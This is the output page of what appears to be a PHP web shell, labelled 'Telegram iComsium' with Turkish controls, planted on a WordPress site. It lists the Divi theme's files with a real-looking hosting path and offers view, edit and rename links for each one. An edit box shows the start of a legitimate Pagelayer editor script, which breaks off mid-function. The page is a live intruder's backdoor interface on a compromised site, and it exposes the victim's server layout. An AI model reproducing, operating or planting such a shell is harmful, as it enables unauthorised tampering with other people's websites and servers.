<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: pagelayer-editor.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/*
PAGELAYER
http://pagelayer.com/
(c) Pagelayer Team
*/

pagelayer = {
	$: jQuery,
	$$ : function(select){
		return jQuery(select, window.parent.document);
	},
	gDocument : jQuery(window.parent.document).add(document),
	p : this,
	copy_selected: &#039;&#039;,
	mouse: {x: -1, y: -1},
	history_action : true,
	global_render : true,
	history_lastTime : new Date(),
	props_ref : {},
	pro_txt : &#039;&#039;,
	loaded : 0,
	post_status : &#039;&#039;,
	el: {},// All elements data
}

var pagelayer_history_obj = {}, pagelayer_revision_obj = {};
var pagelayer_add_section_data = {};

// Console error manager
window.onerror = function (msg, url, lineNo, columnNo, error) {

	if (typeof pagelayer_doc_width === &#039;undefined&#039;) {	
		var test_giver = -1;
		
		jQuery.ajax({
			url: pagelayer_url+&#039;/js/givejs.php?test=1&#039;,
			type: &quot;GET&quot;,
			dataType: &quot;text&quot;,
			success: function(data){
			
				if(data != 1){
					return;
				}
				
				test_giver = 1;
			},
			complete: function(data){
				jQuery.ajax({
					type: &quot;POST&quot;,
					url: pagelayer_ajax_url+&quot;&amp;action=pagelayer_set_jscss_giver&quot;,
					data: { 
						pagelayer_nonce: pagelayer_ajax_nonce,
						set : test_giver
					},
					error: function(errorThrown){
						console.log(&quot;Error saving giver data&quot;);
						console.log(errorThrown);
					}
				});	
			}
		});
	}
	
	var string = msg.toLowerCase();
	var substring = &quot;script error&quot;;
	
	if(pagelayer.loaded &gt; 0){
		return;
	}
	
	if (string.indexOf(substring) &gt; -1){
		return;
	}

	if(url.indexOf(&#039;pagelayer&#039;)=== -1){
		return;
	}

	var message = [
		&quot;Message: &quot; + msg,
		&quot;\r\n&lt;br&gt;URL: &quot; + url,
		&quot;\r\n&lt;br&gt;Line: &quot; + lineNo,
		&quot;\r\n&lt;br&gt;Column: &quot;+ columnNo,
		&quot;\r\n&lt;br&gt;Error object: &quot; + error
	].join(&#039;\n&#039;);
	//alert(&quot;Script Error: See browser console for details&quot;);

	pagelayer.$$(&#039;.pagelayer-errorBox-content&#039;).html(message);
	pagelayer.$$(&#039;.pagelayer-errorBox-close&#039;).on(&#039;click&#039;, function(){	
		pagelayer.$$(&#039;.pagelayer-errorBox&#039;).fadeOut();
	});
	pagelayer.$$(&#039;.pagelayer-errorBox&#039;).fadeIn();

	return false;
};

// Lets start
jQuery(document).ready(pagelayer_start);

// Function to load the codes
function pagelayer_start(){
	
	pagelayer.loading = 1;
	console.log(&#039;[&#039;+pagelayer_brand+&#039;] Starting Pagelayer&#039;);
	
	// Prevent the click Insite editor
	pagelayer_prevent_click();
	
	// Set the title of the parent window
	try{ pagelayer.$$(&#039;head&#039;).append(pagelayer.$(&#039;title&#039;)[0].outerHTML); }catch(e){};
	
	pagelayer.blank_img = pagelayer_url+&#039;/images/default-image.png&#039;;

	pagelayer_shortcodes[&#039;pl_inner_row&#039;] = JSON.parse(JSON.stringify(pagelayer_shortcodes[&#039;pl_row&#039;]));
	pagelayer_shortcodes[&#039;pl_inner_row&#039;][&#039;name&#039;] = &#039;Inner Row&#039;;
	pagelayer_groups[&#039;grid&#039;].push(&#039;pl_inner_row&#039;);

	// Removing post props options
	pagelayer_setting_post_props();
	
	// Make the Topbar
	pagelayer_bottombar();
	
	// Make the Leftbar
	pagelayer_leftbar();
	
	// Make widget list toolbar
	pagelayer_create_widget_tooltip();
	
	// Add widget section
	pagelayer_add_widget();
	
	// Setup the ELPD
	pagelayer_elpd_setup();
	
	// Dump the data we have
	pagelayer_element_dump_data();
	
	// Setup the properties of the elements
	pagelayer_element_setup();
	
	// An image to show for drag
	jQuery(&#039;body&#039;).append(&#039;&lt;img src=&quot;&#039;+pagelayer_url+&#039;/images/drag-ghost.png&quot; class=&quot;pagelayer-drag-show&quot; /&gt;&#039;);
	
	// Setup the grid drag
	pagelayer_setup_drag();
	
	// Set left bar draggable
	pagelayer_make_leftbar_movable();
	
	// Set to desktop
	pagelayer_set_screen_mode(&#039;desktop&#039;);
	
	// Create list of fonts
	pagelayer_fonts = pagelayer_l(&#039;pl_fonts_list&#039;);
	
	// Set up right click
	pagelayer_left_click();
	pagelayer_right_click();
	
	// Setup pagelayer history handle
	pagelayer_history_obj[&#039;action_data&#039;] = [];
	pagelayer_history_setup(true);
	
	// Make a quick access of the props
	pagelayer_make_props_ref();
	
	// Post props exported defaults need to be updated
	pagelayer_set_exported_defaults();
	
	// Do any actions here
	pagelayer_trigger_action(&#039;pagelayer_setup_history&#039;);
	
	// Editor Tooltips
	pagelayer_tooltip_setup();
	
	// Load Fonts	
	for(var x in pagelayer_loaded_icons){
		var item = pagelayer_loaded_icons[x];
		jQuery.when(
			pagelayer_get_stored_data(pagelayer_url+&#039;/fonts/&#039;+item+&#039;.json&#039;, pagelayer_ver)
		).then(function(){
			pagelayer_icons[item] = JSON.parse(pagelayer_get_stored_data(pagelayer_url+&#039;/fonts/&#039;+item+&#039;.json&#039;, pagelayer_ver));
		});
	};

	// Set row-option top zero(0) of the first row
	pagelayer_set_row_option_position();
	
	// Just the txt
	pagelayer.pro_txt = pagelayer_pro_txt;
	
	// Open post props on document load
	pagelayer.$$(&#039;.pagelayer-settings&#039;).click();
	
	// Open post props and Make elements editable to edit post props data 
	pagelayer_setup_props_editable();
  	
	// Make elements editable
	jQuery(pagelayer_editable+&#039; [pagelayer-editable]&#039;).attr(&#039;contenteditable&#039;, &#039;true&#039;);
	
	// Use text widget for search widget
	pagelayer_search_widgets();
	
	// Hide the loader
	pagelayer_loader_hide();
		
	// ON comment mode
	const urlParams = new URLSearchParams(window.location.search);
	pagelayer.cmode = urlParams.get(&#039;cmode&#039;);
}

// Post props attribute
function pagelayer_post_props_atts(prop, val, temp){
	
	val = val || null;
	temp = temp || false;
		
	var proEle = jQuery(pagelayer_editable+&#039; .pagelayer-post_props.pagelayer-ele&#039;).first();
	
	if(!pagelayer_empty(temp)){
		if(val === null){
			return pagelayer_get_tmp_att(proEle, prop);
		}
		
		// Set the temp property as well
		pagelayer_set_tmp_atts(proEle, prop, val);
		return true;
	}
	
	if(val === null){
		return pagelayer_get_att(proEle, prop);
	}
	
	// Set the property as well
	pagelayer_set_atts(proEle, prop, val);
	return true;
}

// Open post props and Make elements editable to edit post props data
function pagelayer_setup_props_editable(){
	
	jQuery(&#039;[pagelayer-props-editable]&#039;).each(function(){
		var jEle = jQuery(this);
		
		// Skip element under the editable area 
		if (jEle.closest(pagelayer_editable).length &gt; 0) {
			return;
		}
		
		var prop = jEle.attr(&#039;pagelayer-props-editable&#039;);
		
		// Make editable
		jEle.attr(&#039;contenteditable&#039;, &#039;true&#039;);
		
		// Reverse setup the event
		jEle.on(&#039;focus&#039;, function(){
			// Set the property as well
			var data = pagelayer_post_props_atts(prop);
			jEle.html(data);
		});
		
		// Reverse setup the event
		jEle.on(&#039;input&#039;, function(){
			
			var val = pagelayer_trim(jEle.html());
			
			// Set the property as well
